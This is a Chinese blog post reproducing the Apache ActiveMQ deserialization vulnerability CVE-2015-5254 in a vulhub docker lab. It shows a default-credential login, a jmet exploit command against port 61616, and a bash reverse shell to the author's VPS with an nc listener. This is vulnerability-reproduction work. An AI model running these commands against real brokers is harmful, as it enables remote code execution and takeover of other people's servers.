漏洞复现-ActiveMq反序列化漏洞(CVE-2015-5254)

 
 
 

0x00 实验环境

攻击机:Win 10

靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)

 

0x01 影响版本

Apache ActiveMQ 5.13.0之前的5.x版本

 

0x02 漏洞复现

(1)实验环境:docker运行的vulhub漏洞环境首先,可直接访问到页面的显示为:

 

(2)使用默认口令:admin/admin 进入后台:

 

 

(3)版本为5.11.1,存在该编号漏洞:

 

(4)下载使用如下工具进行漏洞利用:

https://github.com/matthiaskaiser/jmet/releases

 

这款工具我也是第一次使用,先不管原理,充分发挥脚本小子的优势复现一波。

首先是下载好利用工具:(需要我复现工具的可以先点个关注,然后私聊我)

 

 

(5)然后使用如下命令:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch test" -Yp ROME 有漏洞的IP   61616

 

 

虽然存在部分报错,但不影响结果,后台成功生成一条序列号,这里存在一个避坑的地方——记得必须点击此序列号后才会执行上述的“touch test”命令:

 

 

 

 

进入容器,我们可以发现还尚未创建——test文件:

 

(6)点击上面的序列号后即可在有漏洞的服务器内生成一个——test文件:

 

 (7)以上是创建文件的操作,此时更换为反弹shell的命令即可达到获取服务器shell的目的:

bash -i >& /dev/tcp/自己的vps/9999 0>&1

 

(8)此时需要在如下网站进行编码:

http://www.jackson-t.ca/runtime-exec-payloads.html

 

 

 (9)编码成功后如上面创建文件的操作,即可getshell:

 

(10)nc开启9999端口的监听:

 

0x03 实验原理

该漏洞源于程序没有限制可在代理中序列化的类。

远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码

没有发现有更深入的漏洞原理分析,故希望观者自行查找学习。

posted @ 2021-02-10 14:42  铺哩  阅读(490)  评论(0编辑  收藏  举报